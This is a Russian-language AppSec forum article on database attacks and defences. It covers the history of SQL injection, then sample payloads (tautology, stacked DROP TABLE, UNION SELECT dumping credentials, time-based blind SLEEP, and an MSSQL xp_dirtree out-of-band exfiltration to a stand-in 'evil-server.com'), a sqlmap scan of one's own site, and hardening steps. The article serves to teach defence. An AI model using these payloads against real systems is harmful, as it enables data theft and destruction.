РАЗБОР AppSec Статья

Атаки на системы управления базами данных (DBMS)

samhainhf
samhainhf Bug Hunter · 56 сообщений
Подписаться
2,4 тыс.
[ обложка статьи ]
Режим чтения
1769644609644.webp


Присаживайся. Выключи на минуту все эти новостные ленты про нейросети, квантовые компьютеры и блокчейн. Поговорим о чём-то по-настоящему древнем, вечном и позорно актуальном.

Представь дыру. Не метафизическую, а самую что ни на есть конкретную. Дыру в логике, размером с один символ - пропущенную кавычку. Такую маленькую, что её не видно глазу, и такую огромную, что через неё двадцать пять лет подряд вытекают базы данных целых корпораций, логины-пароли миллионов пользователей и государственные секреты.

Это не история про сложный эксплоит нулевого дня. Это история про ' OR '1'='1 - мантру, которая заставляет базы данных предавать своих хозяев. Про то, как самая старая и простая уязвимость в вебе пережила смену технологических эпох, десятки языков программирования и поколения разработчиков. Она старше первой социальной сети, пережила расцвет и падение MySpace и до сих пор чувствует себя прекрасно в эпоху искусственного интеллекта.

Пока ты вылизываешь конфиг веб-сервера, настоящая игра ведётся глубже. Там, где живут данные. Твоя система управления базами данных (СУБД) - это не просто служба, это мозг и память всего твоего проекта. И если злоумышленник доберётся туда, ему уже не нужен root на твоём сервере. У него уже есть всё.

Забудь про эпичные взломы через нулевые дни в ядре. 99% бед начинаются с тупой, обидной ошибки. С того, что кто-то где-то не там поставил кавычку или слепо доверился пользовательскому вводу.

Давай я расскажу тебе одну историю. Не из учебника, а из той реальности, что пахнет дешёвым кофе и паникой в три часа ночи.

История про «Автосалон на коленке».

Жил-был один малый. Решил сделать сайт для продажи б/у автомобилей. Всё как у людей: список машин, фото, поиск по цене. В поиске была простая форма: два поля - «цена от» и «цена до». Написал он её за вечер, на коленке. Логика проста: берёт цифры из полей, подставляет в SQL-запрос и выполняет его.

Выглядело это в коде примерно так:
query = "SELECT * FROM cars WHERE price >= " + user_min_price + " AND price <= " + user_max_price + ";"

Кажется, что тут такого? Вводишь 1000 и 5000, получаешь машины в этом диапазоне. Магия.

Но что, если в поле «цена от» ввести не цифру? А, скажем, такое: 0; DROP TABLE customers; --

Запрос превращается в монстра:
SELECT * FROM cars WHERE price >= 0; DROP TABLE customers; -- AND price <= 5000;

СУБД видит: первый запрос - выбери все машины с ценой от нуля. Точка с запятой - конец команды. Далее - новая, совершенно законная команда: DROP TABLE customers;. А двойной дефис -- в SQL - это комментарий. Всё, что после него, игнорируется.

И бац. Таблица customers с именами, телефонами, паспортными данными покупателей исчезает. Вмиг. Без корзины, без бэкапа (потому что бэкапы - это «скучно»).

В нашем случае злоумышленник был не злой, он был любопытный. Он просто вбил в поле ' OR '1'='1 и получил на экран не только машины, а все записи из всех таблиц, включая ту самую таблицу с клиентами. Потому что запрос ... WHERE price >= '' OR '1'='1' всегда истинный. Условие «1=1» верно всегда. Это мантра, открывающая двери.

Мораль? Атакующий даже не ломал пароли. Он не подбирал SSH-ключи. Он просто говорил на языке твоей базы более грамотно, чем твоё приложение. Он играл в LEGO с твоими же кубиками и собрал из них гранату.

Вот о чём мы будем говорить. Не о пафосных атаках, а о культуре. О том, что безопасность - это не про стены, а про понимание. Про то, что твой главный враг - не хакер в маске, а расслабленность.

Ты готовил крепость, но забыл про потайную калитку, которую сам же и оставил. Она называется «доверие к вводу пользователя».

Дальше будет только интереснее. Поговорим про то, как эта калитка выглядит (UNION SELECT), как её ищут вслепую (когда сайт только «моргает») и как закрыть на все замки. Но сначала я расскажу откуда вообще ноги растут. Углубимся в историю.

1769645449419.webp

​

SQL-инъекциям исполнилось 25 лет, а мы всё ещё учимся. История дыры, которую не могут залатать​


Ирония судьбы: один из старейших и самых разрушительных векторов атаки родился не в подпольных чатах, а в публичном журнале для энтузиастов, и его принцип не изменился ни на йоту. Добро пожаловать в историю SQL-инъекции - нескончаемого сериала о человеческой беспечности и том, как ' OR '1'='1 покорял мир.

Эпоха первооткрывателей (1998–2003): Рождение из невинности​

Все началось почти мирно. 25 декабря 1998 года, пока обыватели наряжали ёлки, исследователь Джефф Форристал (Rain Forest Puppy) публикует в журнале Phrack статью «NT Web Technology Vulnerabilities». В ней он методично описал, как можно манипулировать запросами к базам данных через веб-формы. Это не был взлом - это было публичное предупреждение, техническое описание того, что происходит, когда ты слепо склеиваешь SQL-запрос из строк и пользовательского ввода. Сообщество отреагировало примерно как на предсказание конца света: «Интересно, но это не про нас».

Первый звонок прозвенел в 2002 году, когда хакеры провели демонстрационную атаку на сеть магазинов Guess. Через уязвимую веб-форму они вытянули данные более 200 000 кредитных карт. Мир впервые увидел ценник одной пропущенной кавычки. Но настоящий шок наступил в январе 2003-го с червём SQL Slammer. Он не крал данные - он парализовывал всё на своём пути, используя дыру в Microsoft SQL Server. За 10 минут было заражено 75 000 машин, скорость распространения сломала интернет. Внезапно выяснилось, что SQL-уязвимости - это не только тихая кража, но и оружие массового поражения для цифровой инфраструктуры.

Эпоха институционализации (2003–2010): Из хака в регламент​

После Slammer индустрия перестала ухмыляться. В 2003 году проект OWASP (Open Web Application Security Project) выпускает свой первый рейтинг главных угроз - OWASP Top-10. И да, инъекции, возглавляемые SQLi, уже заняли там почётное первое место, где и остаются с переменным успехом по сей день. SQLi перестал быть «продвинутой техникой» - он стал базовой проверкой на вшивость для любого пентестера.

К концу нулевых SQL-инъекция превратилась в конвейер. В 2007 году хакеры использовали её в атаке на розничную сеть TJX Companies, похитив данные около 94 миллионов кредитных карт. Это был уже не одиночный взлом, а отлаженный промышленный процесс: найти уязвимый сайт, внедриться, выгрузить дампы, продать данные на чёрном рынке. ЦРУ и АНБ в своих документах того периода отмечали SQLi как один из ключевых векторов для сбора разведданных. Дыра из журнала для гиков стала инструментом государств.

Эпоха массового производства (2011–2019): Инструмент в руках каждого​

2010-е стёрли последние барьеры. Появились мощные автоматизированные сканеры вроде sqlmap - инструмент, который может найти и использовать SQLi быстрее, чем junior-разработчик успевает налить себе кофе. Он сделал сложные техники - слепые инъекции (Blind SQLi) или извлечение данных через временные задержки (Time-based) - доступными даже для скрипт-кидди.

Хактивистские группировки вроде LulzSec в 2011 году превратили SQL-инъекцию в средство публичного унижения корпораций и правительств. Они не просто крали данные - они вываливали их в открытый доступ, сопровождая язвительными комментариями в Twitter. SQLi стал орудием пропаганды. Одновременно с этим рынок краденых данных ушёл в глубокий веб, где логины и пароли, добытые через инъекции, продавались пачками, как картошка на оптовом рынке.

Эпоха живучести (2020–наши дни): Динозавр, который не вымирает​

Казалось бы, в 2020-х, с повсеместным использованием ORM (Hibernate, Eloquent) и фреймворков, эта дыра должна была исчезнуть. Но нет. В 2020 году хакеры использовали SQL-инъекцию для взлома сайтов офисов Дональда Трампа. В 2021-м исследователи находили критические уязвимости такого типа в крупнейших системах управления контентом. Почему?

Ответ - в наследии и человеческом факторе.
  1. Горы легаси-кода: Миллионы строк старого корпоративного кода, написанного в 2000-х на PHP или ASP, до сих пор работают. Их никто не переписывает, пока они приносят деньги.
  2. Иллюзия безопасности: Разработчики думают, что использование модного фреймворка или ORM автоматически защищает их. Но ORM - это всего лишь генератор SQL. Если им пользоваться бездумно (например, составлять «сырые» запросы через QueryBuilder), можно наступить на те же грабли.
  3. Сложные векторы: Атаки стали тоньше. Вместо ' OR '1'='1 используются цепочки из сотен запросов, которые вытягивают данные по битам, анализируя время отклика базы (слепые инъекции). Это сложно обнаружить стандартными системами мониторинга.

Почему эта история ещё не закончилась?​

Потому что SQL-инъекция - это не «баг» в программном обеспечении. Это фундаментальный разрыв между намерением программиста и интерпретацией машины. Это ошибка в модели доверия: разработчик по умолчанию доверяет данным, которые пришли извне. И пока люди пишут код, они будут совершать эту ошибку.

Защита известна десятилетиями - параметризованные запросы (Prepared Statements), где код и данные передаются раздельно. Это не ракетостроение. Но её внедрение требует не столько технических навыков, сколько дисциплины и культуры безопасности, которые в большинстве компаний до сих пор проигрывают давлению дедлайнов.

SQL-инъекция - это цифровой кекс, который мы печём уже 25 лет по одному и тому же рецепту. Она пережила смену технологических эпох, потому что эксплуатирует не слабость машин, а слабость человеческой логики. И пока мы учим ИИ писать код, стоит убедиться, что мы не научили его повторять наши старые ошибки. Иначе следующая большая утечка данных будет подготовлена не человеком, а алгоритмом, который мы сами и создали.

Но довольно истории, перейдем к реальным вещам.


SQLi

Итак, в начале мы поняли, что дыра возникает, когда твой код слепо лепит пользовательский ввод в SQL-команду. Теперь посмотрим, какую именно дрянь можно запихнуть в это поле, кроме банального ' OR '1'='1. Это не просто трюки, это логика. Поняв её, ты начнёшь видеть дыры глазами того, кто хочет их использовать. И это лучший способ их закрыть.

Классика жанра: Union-based - когда тебе всё вываливают в лицо.

Представь ту же форму поиска машин, но теперь злоумышленник вводит не просто мантру, а осознанный запрос.

Он сначала выясняет, сколько столбцов возвращает оригинальный запрос. Методом научного тыка: ' ORDER BY 1--, ' ORDER BY 2--, пока не получит ошибку. Допустим, столбцов 4.

Теперь он строит свой UNION SELECT. Весь запрос приложения может превратиться в:
Код:
    SELECT id, model, price, year FROM cars WHERE model LIKE '%' UNION SELECT 1,2,3,4-- %'
Если на сайте вместо названия машины вдруг отобразились цифры 2, 3 и 4 - значит, эти поля выводятся на экран и в них можно впихнуть что угодно.

А теперь - магия. Меняем запрос:
Код:
    ... UNION SELECT 1, table_name, 3, 4 FROM information_schema.tables WHERE table_schema=database()--
И на месте, где должна быть модель Ford Focus, красуется название служебной таблицы, например, user_credentials. Потом:
Код:
    ... UNION SELECT 1, concat(login, ':', password_hash), 3, 4 FROM user_credentials--

Итог: Через форму поиска по моделям автомобилей на экран выгружаются логины и хэши паролей всей системы. Всё потому, что злоумышленник использовал UNION - оператор объединения результатов двух запросов. Он не ломал, он просил базу выдать ему данные, и та послушно выполняла.

Где встречается в реале: Любая фильтрация: поиск, выборка по категориям, фильтры в админке. Если при вводе кавычки получаешь ошибку СУБД - считай, половина дела сделана.


Слепой, но опасный (Blind SQL Injection): когда сайт только "моргает".

А что, если разработчик не выводит результаты запроса на экран? Ошибки съедаются, UNION ничего не показывает. Казалось бы, тупик. Но нет.

Злоумышленник переходит к диалогу с базой в двоичном коде. Он задаёт вопросы, на которые база может ответить только "ДА" (истина) или "НЕТ" (ложь), а ответ он считывает по косвенным признакам.

Разновидность 1: На основе времени (Time-based).
Он внедряет команду, которая заставляет базу подождать, если условие верно. Пример запроса для MySQL:
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)--

Расшифровываем: "Если первая буква имени текущей базы данных - 'a', то усни на 5 секунд, иначе верни 0".

Злоумышленник смотрит на таймер. Запрос висит 5 секунд? Значит, первая буква - 'a'. Не висит? Пробует 'b'. И так, буква за буквой, как взлом сейфа с цифровым замком, он узнаёт имена баз, таблиц, логинов. Автоматизированными инструментами это делается за минуты.

Где встречается в реале: Любая форма, где нет прямого вывода данных, но есть реакция: "Пользователь не найден", "Неверный код". Или просто страница при верном и неверном запросе грузится чуть-чуть по-разному. Разница в миллисекунды, но её можно поймать.


Out-of-band (OOB) атака: когда атакуют не "в лоб", а через чёрный ход.

Самый изящный и часто незамечаемый вариант. Представь, что приложение не выводит результаты запроса и не даёт заметить разницу во времени. Но оно позволяет выполнять определённые функции СУБД.

Злоумышленник может внедрить команду, которая заставит базу данных самой инициировать соединение с его сервером и передать данные в этом запросе.

Пример для Microsoft SQL Server (MSSQL), если включена старая добрая функция xp_dirtree:
SQL:
'; EXEC master..xp_dirtree '\\evil-server.com\' + (SELECT TOP 1 login FROM users)--'
Что происходит:
  1. База данных пытается обратиться к сетевой папке \\evil-server.com\.
  2. В имя папки (до обратного слеша) она подставляет результат вложенного запроса - например, admin.
  3. Итоговый путь: \\evil-server.com\admin.
  4. Сервер злоумышленника (evil-server.com) видит в логах DNS или HTTP попытку доступа к ресурсу admin и понимает: "Ага, первый логин в таблице users - admin".

Данные утекли не через основное приложение, а через побочный канал, как вода через трещину в трубе.


Инструмент в руки: Sqlmap - не меч, а стетоскоп.

Ты сейчас подумал: "Это же ад, так вручную никто не делает". И будешь прав. Для этого есть sqlmap. Но запомни главное: этот инструмент - для тестирования СВОИХ приложений. Запуск его на чужих ресурсах - не хакерство, а уголовщина. Ты же не будешь тренироваться делать уколы на случайных прохожих?

Зачем он тебе: Чтобы быстро и методично проверить свой же код на все описанные выше глупости. Он автоматизирует весь этот процесс подбора, UNION'ов и слепых атак.

Пример проверки своей формы логина:
Представь, у тебя есть сайт http://my-cool-site.local/login.php. Форма отправляет POST-запрос с полями username и password.

Ты можешь в тестовом окружении (не на боевом сервере!) запустить что-то вроде:
Bash:
sqlmap -u "http://my-cool-site.local/login.php" \
       --data="username=test&password=test" \
       --level=2 \
       --risk=1 \
       --batch
  • -u - цель.
  • --data - данные POST-запроса.
  • --level и --risk - повышают "дотошность" проверки (начни с низких).
  • --batch - чтобы не отвечать на вопросы, по умолчанию.

Если sqlmap начнёт радостно сообщать о найденных инъекциях - у тебя не баг, а провал в архитектуре. Это красная лампочка. Не игнорируй её.

Использовать sqlmap для поиска уязвимостей - это как включить детектор угарного газа в квартире. Если он запищал - не надо заклеивать его скотчем. Надо проветривать и чинить печь.

SQL-инъекция - это не одна дыра. Это язык общения с твоей БД в обход твоего приложения. Union-based кричит громко, Blind - шепчет на ушко, OOB - передаёт записки через третьи руки.

Понимая это, ты перестаёшь видеть просто "поле ввода". Ты начинаешь видеть интерпретатор SQL, который ты сам, по глупости, подсунул пользователю.

Дальше будем говорить о том, как запирать эту дверь. Но не на висячий замок mysql_real_escape_string(), а на сейфовую дверь с кодом.


Аутентификация и авторизация: Дверь есть, а косяка нет.

Ты ещё здесь? Отлично. Значит, осознал, что оставлять SQL-интерпретатор на видном месте - плохая идея. Но что, если злоумышленник даже не будет играть в эти игры? Что, если он просто постучится в главную дверь твоей СУБД? Не через приложение, а напрямую, на порт 5432 или 3306.

Разделим сразу: Аутентификация - это проверка, что ты есть ты. Авторизация - это проверка, что тебе можно вот это конкретное действие.

Аутентификация: «Кто ты?» - «Я свой!» - «Ну ладно...»

Вот тебе задачка на засыпку: какой самый популярный пароль к MySQL в продакшене маленькой конторы? Не root, не admin. Чаще всего это... пустая строка. Или password. Или, смайлик судьбы, пароль, совпадающий с логином: root:root.

«Да кто ж так делает?» - спросишь ты. А вот идут отчёты с Shodan каждый день. Shodan - это не поисковик сайтов. Это поисковик всего, что торчит в интернет. Холодильников, камер, промышленных контроллеров и, о ужас, баз данных.

Картина маслом:
  1. Админ ставит PostgreSQL для внутреннего сервиса.
  2. Чтобы «не париться», оставляет дефолтного пользователя postgres с паролем postgres или вовсе без пароля. «Он же только из локальной сети!» - говорит он.
  3. Через месяц сервис надо показать клиенту. Быстренько пробрасываем порт 5432 на белый IP через ngrok или, что чаще, меняем одну строчку в конфиге postgresql.conf: listen_addresses = '*'. «Ну ненадолго!»
  4. Через 15 минут бот, сканирующий интернет на 5432/tcp, радостно стучится. Логин: postgres, пароль: postgres. Привет, полный доступ ко всем базам. Всё. Игрок покинул чат.

Практика: как проверить себя.

Зайди на свой сервер и выполни:
Bash:
sudo netstat -tlnp | grep -E '(5432|3306|27017)'
Увидел, что слушает на 0.0.0.0 или :::? Плохой знак. А теперь попробуй подключиться к своей же БД с другой машины в той же сети (или с локалхоста, сымитировав внешнего):
Bash:
# Для MySQL
mysql -u root -p -h IP_ТВОЕГО_СЕРВЕРА
# Для PostgreSQL
psql -U postgres -h IP_ТВОЕГО_СЕРВЕРА -W
Если подключился с дефолтными кредами - ты уже в беде. Если запросил пароль - уже лучше, но это только начало.

Авторизация: Принцип наименьших привилегий - не для параноиков, а для выживших.

Допустим, у тебя крутое веб-приложение. Ему нужно читать и писать данные. Как ты его подключаешь к БД?

Вариант А (плохой, но частый): Берёшь пользователя root/postgres и вписываешь его в config.php. «Ему же всё нужно!».

Почему это провал: Потому что если через это приложение (допустим, через ту же SQL-инъекцию в форме обратной связи) злоумышленник получит возможность выполнить произвольный SQL, он будет делать это от имени root. Он удалит не одну таблицу, а всю БД. Он создаст своих пользователей. Он сделает дамп и выгрузит его себе. Права ALL PRIVILEGES - это не функция, это оружие массового поражения в руках приложения.

Вариант Б (правильный): Создать отдельного пользователя только для этого приложения, с правами только на нужные операции и только в нужной базе.

Пример для PostgreSQL:
SQL:
-- 1. Создаём отдельную БД для приложения (если ещё нет)
CREATE DATABASE myapp_prod;

-- 2. Создаём пользователя. Пароль придумай серьёзный, не 'qwerty'.
CREATE USER myapp_user WITH PASSWORD 'StRoNg!PaSs2024';

-- 3. Даём права ТОЛЬКО на эту БД и ТОЛЬКО на нужные операции.
GRANT CONNECT ON DATABASE myapp_prod TO myapp_user;
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO myapp_user;
-- Если приложение использует последовательности (serial)
GRANT USAGE, SELECT ON ALL SEQUENCES IN SCHEMA public TO myapp_user;
Вот и всё. Теперь твой config.php использует myapp_user. Если через приложение попытаются выполнить DROP TABLE users;, СУБД вежливо ответит: ERROR: permission denied for table users. Атака остановлена на уровне архитектуры, а не в коде.

Это и есть принцип наименьших привилегий: давать ровно столько прав, сколько необходимо для работы, и ни битом больше.

Хэши - Почему «зашифровано» ≠ «безопасно».

Часто вижу в схемах БД табличку users с полем password, где лежит что-то вроде d8578edf8458ce06fbc5bb76a58c5ca4. Это MD5-хэш. Это слабо. Это можно расколотить по радужным таблицам за секунды.

Но хуже, когда там лежит пароль в открытом виде или «зашифрованный» самописным алгоритмом на XOR. Если злоумышленник получил доступ на чтение к этой таблице (см. UNION SELECT выше) - считай, все аккаунты уже скомпрометированы.

Как надо:
  1. Никогда не храни пароли в открытом виде. Никогда. Даже «для внутреннего тестирования».
  2. Используй современные, медленные алгоритмы хэширования, предназначенные именно для паролей: bcrypt, scrypt, argon2. Их ключевая фича - они затратны по вычислениям и памяти, что убивает перебор.
  3. Используй соль (salt). Современные функции делают это автоматически.
Как это выглядит в реальной схеме (например, в PostgreSQL):
SQL:
CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    login VARCHAR(50) UNIQUE NOT NULL,
    -- Для bcrypt хэша достаточно 60 символов, но лучше с запасом.
    password_hash CHAR(128) NOT NULL,
    created_at TIMESTAMP DEFAULT NOW()
);
А в код приложения (на примере Python с bcrypt):
Python:
import bcrypt

# При регистрации
password = b"user_password_123"
# Генерируем соль и хэшируем (автоматически)
hashed = bcrypt.hashpw(password, bcrypt.gensalt(rounds=12))
# Сохраняем hashed в БД как bytes или строку

# При проверке логина
input_password = b"user_password_123"
stored_hash = hashed_from_db
if bcrypt.checkpw(input_password, stored_hash):
    print("Добро пожаловать!")
Суть: Даже если утечка БД произойдёт, взлом этих хэшей будет настолько долгим и дорогим, что злоумышленнику станет скучно. Он пойдёт искать контору, где пароли хранятся в MD5.

1769645730329.webp

Безопасная настройка: Выключи всё, что не дышит.

Ты всё ещё со мной? Хороший знак. Значит, root с паролем root ты уже прибил, а для своего веб-приложения завел скромного пользователя myapp_user с урезанными правами. Но это только начало пути. Теперь нужно сделать так, чтобы даже если враг окажется внутри периметра, он споткнулся о вторую, третью и десятую линию обороны.

Конфигурация по умолчанию любой СУБД создана для удобства развертывания, а не для выживания в дикой среде. Наша задача - переломить эту парадигму.

Сетевая изоляция: «А почему постгрес светится на весь интернет?»

Классика. Поднимаешь БД для нового пет-проекта, а через полгода замечаешь в логах кучу левых попыток подключения. Потому что какой-нибудь бот давно просканировал порт 0.0.0.0:5432 и теперь методично стучится, подбирая пароли.

Что делать:

Жёсткий способ: Firewall. Правило ufw (если ты на Ubuntu) - твой лучший друг.
Код:
bash
    # Разрешаем подключение к СУБД ТОЛЬКО с конкретного IP (например, IP твоего веб-сервера)
    sudo ufw allow from 192.168.1.100 to any port 5432
    # Запрещаем всем остальным
    sudo ufw deny 5432
Нет веб-сервера в отдельной сети? Тогда хотя бы ограничь локальной сетью:
Код:
bash
    sudo ufw allow from 192.168.1.0/24 to any port 5432

Правильный способ: Конфиг СУБД. Открывай postgresql.conf или mysqld.cnf и ищи строку listen_addresses (PG) или bind-address (MySQL).
* Плохо: listen_addresses = '*'
* Хорошо: listen_addresses = 'localhost, 192.168.1.100' (только локалхост и IP веб-сервера)
* Идеально (если БД и приложение на одной машине): listen_addresses = 'localhost'. Соединение через Unix-сокет, без сетевого стека вообще.

Суть: Если к твоей БД нельзя подключиться из интернета, ты автоматически отсекаешь 99% автоматических атак. Это не панацея, но это огромный фильтр.


Шифрование соединений (SSL/TLS): Сосед по офиcному Wi-Fi - не друг.

Представь: ты запустил БД на внутреннем сервере в дата-центре. «Он же внутри сети!» - думаешь ты. А теперь вспомни, кто ещё есть в этой сети? Другие арендаторы, виртуалки потенциальных конкурентов, недовольные сотрудники. Если трафик между твоим приложением и БД не шифруется, любой, кто имеет доступ к тому же сетевому сегменту, может прослушать его. Логины, пароли, сами запросы с данными - всё как на ладони.

Что делать: Включить SSL. Это не опционально.

Для PostgreSQL:

Генерируем или получаем сертификаты (самоподписанные на первое время сойдут).

В postgresql.conf:
Код:
ini
    ssl = on
    ssl_cert_file = '/path/to/server.crt'
    ssl_key_file = '/path/to/server.key'
В pg_hba.conf можно требовать SSL для определённых хостов:
Код:
ini
    hostssl all all 192.168.1.0/24 md5
Ключевое - hostssl. Без SSL подключение с этого адреса будет отвергнуто.

Для MySQL:
В my.cnf в секции [mysqld]:
INI:
ssl-ca=/path/to/ca.pem
ssl-cert=/path/to/server-cert.pem
ssl-key=/path/to/server-key.pem

Проверка: После перезапуска подключись и выполни:
  • PG: SHOW ssl; - если on, то всё ок.
  • MySQL: SHOW STATUS LIKE 'Ssl_cipher'; - должен быть непустой.

Это как не кричать пароль от карты через весь офис, а передать записку в запечатанном конверте. Даже если его перехватят, прочитать не смогут.


Аудит и логи: «Кто это сделал DROP в три ночи?»

Представь, прорвались. Или кто-то внутри накосячил. Как понять, что произошло? Без логов ты слепой.

Включаем логирование подключений и «опасных» команд. В том же postgresql.conf:
Код:
ini
    log_connections = on
    log_disconnections = on
    log_statement = 'ddl'  # Логируем CREATE, ALTER, DROP
    # или даже 'mod' (ddl + data-modifying: INSERT, UPDATE, DELETE)
Для MySQL в my.cnf:
Код:
ini
    general_log = 1
    general_log_file = /var/log/mysql/general.log
    # Или лучше только slow queries + ошибки
    log_error = /var/log/mysql/error.log
    slow_query_log = 1

Куда смотреть и как не сойти с ума.
Логи быстро растут. Надо уметь их фильтровать. Самый простой друг - grep.
Код:
bash
    # Ищем неудачные попытки входа в PostgreSQL
    grep -i "password authentication failed" /var/log/postgresql/postgresql-14-main.log

    # Ищем все DROP или ALTER команды
    grep -E "(DROP|ALTER)" /var/log/postgresql/postgresql-14-main.log | tail -20

    # Смотрим откуда чаще всего стучатся
    grep "connection authorized" /var/log/postgresql/postgresql-14-main.log | awk '{print $7}' | sort | uniq -c | sort -nr
Увидел кучу попыток с одного левого IP? Добавляй его в ufw deny. Нашёл неожиданный DROP TABLE от пользователя приложения? Значит, у него слишком много прав (см. часть 3).

Следующий уровень: централизованный сбор логов. Если серверов больше одного, смотри в сторону rsyslog, Fluentd или Loki. Но это уже для продвинутых. Начинать можно с простого.

Суть: Логи - это не для галочки. Это чёрный ящик твоей БД. По ним ты можешь восстановить картину произошедшего, найти источник атаки и доказать вину. Не ленись их включать и хотя бы изредка поглядывать.


Обновления: Скучно, но необходимо.

Ты же не до сих пор на Windows XP? Вот и с СУБД так же. Уязвимости находят постоянно. И речь не только о сложных 0-day, о которых пишут на форумах.

Речь о старых, известных годами дырах, по которым уже есть публичные эксплоиты в метасплоите. Самая частая причина взлома - не нулевой день, а неустановленный патч двухлетней давности.

Что делать:
  1. Подписаться на рассылки безопасности для твоей СУБД (например, pgsql-announce для PostgreSQL).
  2. Иметь план обновления. Не лезть срочно на продакшн, но иметь тестовый стенд, где ты проверяешь минорные обновления (с 11.21 на 11.22). Мажорные (с 11 на 12) - это отдельная история с миграцией, но и их нельзя игнорировать вечно.
  3. Автоматизировать безопасные обновления. Для убунту это unattended-upgrades. Настроить его на установку только обновлений безопасности.

Система, которую ты не обновляешь, - это не система. Это мина замедленного действия. Патчи - это не про новые фичи, это про заделку щелей в твоём бронежилете.


Методы защиты:

Подготовленные выражения (Prepared Statements): Твой главный и единственный по-настоящему работающий щит.

Что это: Prepared Statements (параметризованные запросы) - это когда ты отправляешь в СУБД шаблон запроса и данные отдельно. СУБД компилирует шаблон один раз, а потом лишь подставляет в него данные, невозможные интерпретировать как команды. Даже если в данных будет ' OR '1'='1, это останется просто строкой для поиска, а не частью SQL.

Пример на пальцах (Python + psycopg2):

Студенческий кошмар (как НЕ надо):
Python:
user_input = "'; DROP TABLE users; --"
query = f"SELECT * FROM products WHERE name = '{user_input}'"
cursor.execute(query)  # Прощай, таблица users.

Ремесленный подход (как НАДО):
Python:
user_input = "'; DROP TABLE users; --"
query = "SELECT * FROM products WHERE name = %s"  # %s - placeholder
cursor.execute(query, (user_input,))
# База ищет товар с буквальным названием "'; DROP TABLE users; --". Ничего не сломается.

Почему это работает на уровне вселенной: Потому что СУБД сама знает, где в скомпилированном плане запроса находятся «параметры». Она не слепляет строки. Это как отправить на завод форму для печати футболок и отдельно - текст. Надпись "DROP TABLE" никогда не будет воспринята как инструкция к станку.

Где применять: Везде, где в запрос попадают пользовательские данные. Логин, поиск, фильтры, ID в URL (/product?id=123).

Валидация и эскейпинг: Доверяй, но проверяй.

Prepared Statements - это святое. Но хороший мастер страхуется.
  • Валидация: Если в поле «год рождения» должно быть число от 1900 до 2024 - проверь, что это именно число и оно в диапазоне. Если email - прогони через простенький regex. Это не для «безопасности», а для целостности данных и отсева 99% мусора.
  • Эскейпинг (для крайних случаев): Бывают ситуации, когда prepared statement не применить (например, динамические имена таблиц или столбцов). Вот тут надо экранировать, используя штатные средства СУБД для идентификаторов. Никаких самописных велосипедов!

Плохо (ручной велосипед):
PHP:
$table = $_GET['table']; // кто-то передаст `users; --`
$query = "SELECT * FROM " . $table . " WHERE id = 1";

Сносно (использование встроенных функций):
PHP:
$table = pg_escape_identifier($_GET['table']); // Экранирует имя таблицы
$query = "SELECT * FROM " . $table . " WHERE id = 1";

Но помни: если можешь избежать динамических идентификаторов - избегай. Если нет - строго белый список: if table_name not in ['products', 'users']: reject().


WAF'ы и мониторинг: Датчик дыма, а не огнетушитель.

Web Application Firewall (WAF) - это не волшебная таблетка. Это сигнализация и первый рубеж обороны. Он ловит известные шаблоны атак (как сигнатурный антивирус) и может заблокировать или затормозить подозрительный трафик.

Что ставить:
  1. ModSecurity с базой правил OWASP Core Rule Set (CRS) - стандарт де-факто. Встает перед твоим nginx/apache.
  2. NAXSI для nginx - более проще, но эффективно.
  3. Cloudflare WAF - если лень возиться, но есть бюджет.

Суровая правда: Любой WAF обходим. Цель WAF - не остановить целенаправленную атаку APT, а отсеять мусорный трафик, ботов и скрипт-кидди. И, что важнее, дать тебе запись в логе о попытке атаки. Если в логах WAF пусто - это либо очень хорошо, либо очень плохо.

Как мониторить:
Bash:
# Простой алерт на массовые 400-е от WAF
tail -f /var/log/nginx/modsec_audit.log | grep -E "id \"9[0-9]{5}\""  # Ищем ID правил OWASP SQLi
Настроил алерт в Telegram/Bot/Slack на такое - и ты уже знаешь, когда на тебя начинают давить.


Заключение

Давай расставим последние точки над i, без пафоса и водных процедур.

Что, по сути, произошло? Мы не изучали «атаки». Мы изучали цепочку человеческих ошибок, которые превращают мощный инструмент в дырявое корыто. От каскадёра, который пишет запросы склеиванием строк, до сисадмина, оставляющего пароль postgres для удалённого доступа. Каждый этап - это невидимый щелчок по носу, который в итоге складывается в полноценную пощёчину от реальности.

SQL-инъекция оказалась не сложным хакерским приёмом, а грамматической ошибкой в диалоге с базой данных. Ты говорил с ней на языке SQL, но дал в руки пользователю не проверенный словарь, а мелок для граффити. И кто-то написал этим мелом на стене твоего храма данных: «Здесь был Вася».

Аутентификация и авторизация - это не скучные поля в конфиге. Это вопросы, которые твоя система задаёт каждому, кто стучится в дверь. «Ты кто?» и «А тебе зачем?». Оставлять на них ответы по умолчанию - всё равно что привязать ключ от сейфа к двери скотчем. Удобно? Да. Гениально? Нет.

Безопасная настройка - это не про «включить все галочки». Это про принцип «отсекай лишнее». Сетевой доступ? Отрезать. Лишние права? Отрезать. Незашифрованный трафик? Да ты шутишь. Твоя БД в идеале должна быть как подводная лодка: снаружи - лишь голый корпус, а внутри - сложная система клапанов, где у каждого есть своя роль и ничего лишнего.

И, наконец, методы защиты - это не серебряная пуля. Это рабочий инструмент в руках того, кто понимает принцип. Prepared Statements, WAF, мониторинг логов - всё это кирки и лопаты для укрепления твоего замка. Без понимания, зачем копать именно здесь, ты просто устроишь яму посреди двора, в которую упадёшь сам.

Так что же в итоге?

Ты теперь знаешь, что:
  1. ' OR '1'='1 - это не смешной мем, а приговор плохому коду.
  2. Пользователь БД != root БД. Создашь отдельную учётку для приложения - спишь спокойнее.
  3. Логи - это глаза в затылке. Не включил - значит, летишь вслепую.
  4. Шифрование - must have, даже если «у нас всё внутри сети».
  5. Обновления - это гигиена. Не обновился - ходишь с дырой в броне, которую все уже видят.
А теперь - финальный тест.

Открой терминал. Прямо сейчас. И введи одну команду, чтобы проверить, не светится ли твоя БД на весь мир, как маяк:
Bash:
sudo ss -tulpn | grep -E '(:5432|:3306|:27017)'
Увидел 0.0.0.0 или :: в столбце Local Address? Всё, ты в игре. Твоя база - в списках сканеров, и какой-нибудь бот уже методично цокает по ней, как дятел по дереву.

Что делать? Начни с сетевой изоляции. Потом пройдись по всему чек-листу, как по пунктам спасения из горящего здания.

Безопасность - это не пункт назначения, а способ путешествия. Ты никогда не скажешь «я полностью защищён». Но ты можешь сказать: «Я сделал всё, что мог в рамках здравого смысла и потраченного времени».

